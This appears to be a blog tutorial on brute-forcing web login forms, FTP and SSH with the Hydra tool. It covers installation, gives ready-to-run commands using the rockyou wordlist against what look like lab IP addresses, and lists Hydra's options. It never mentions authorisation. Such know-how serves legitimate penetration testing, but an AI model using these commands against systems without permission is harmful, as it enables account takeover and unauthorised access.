Brute Force Login Using Hydra.

Ravishanker
3 min readJun 14, 2021

Hydra is a tool that help us to brute force on login panel onto the site.

Installation in linux : Environment Setup in linux.

$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

$ sudo apt-get -y install build-essential

$ sudo apt-get install git

$ sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \ firebird-dev libncp-dev

Installation Process:

$ git clone https://github.com/vanhauser-thc/thc-hydra.git

$ cd thc-hydra

$ ./configure

$ make

$sudo make install

Brute force login using this tool

$ hydra -l [username if you know] -P [/usr/share/wordlist/rockyou.txt] [website-link] "/admin/login:Username=^USER^&password=^PASS^:F=Invalid"

Hydra brute force login
  • -l [if Username is known] -L [if you use username wordlist]
  • -p [if password is known] -P [if you use wordlist of password]
  • -vV Getting detailed output.
  • F=Invalid : if site throw an error like invalid login or failed login
  • then we use flag as accordingly.
  • In this case it shows Invalid so i have put Flag as Invalid{F=Invalid}

Hydra can be use to brute force some specific protocals like FTP, SMB, POP3, IMAP, MySQL, VNC, SSH and others.

FTP Bruteforce:

$ hydra -t 1 -l [username] -P /usr/share/wordlist/rockyou.txt -vV 10.10.24.238 ftp

SSH Bruteforce:

$ hydra -t 4 -l [username] -P /usr/share/wordlists/rockyou.txt 10.10.24.239 ssh

Some important flag that may useful

-R >>>> restore a previous aborted/crashed session
-I >>>>ignore an existing restore file (don’t wait 10 seconds)
-S>>>> perform an SSL connect
-s PORT>>>> if the service is on a different default port, define it here
-l LOGIN or -L FILE >>>>login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE t>>>>ry password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET>>>> password bruteforce generation, type “-x -h” to get help
-y >>>>disable use of symbols in bruteforce, see above
-r>>>> rainy mode for password generation (-x)
-e nsr try “n” null password, “s” login as pass and/or “r” reversed login
-u >>>>loop around users, not passwords (effective! implied with -x)
-C FILE >>>>colon separated “login:pass” format, instead of -L/-P options
-M FILE >>>> list of servers to attack, one entry per line, ‘:’ to specify port
-o FILE >>>>write found login/password pairs to FILE instead of stdout
-b FORMAT >>>>specify the format for the -o FILE: text(default), json, jsonv1
-f / -F >>>>exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T>>>>TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME >>>>wait time for a response (32) / between connects per thread (0)
-c TIME >>>>wait time per login attempt over all threads (enforces -t 1)
-4 / -6 >>>>use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d >>>>verbose mode / show login+pass for each attempt / debug mode
-O >>>>use old SSL v2 and v3
-K >>>>do not redo failed attempts (good for -M mass scanning)
-q >>>>do not print messages about connection errors
-U>>>> service module usage details
-m>>>> OPT options specific for a module, see -U output for information
-h >>>>more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help).

— — — — — — — — — — — — — — — — — — — — — — — — — — -

Follow me on Twitter: https://twitter.com/theblackthreat

Youtube: youtube.com/c/theblackthreat

Website: https://theblackthreat.wixsite.com/theblackthreat

--

--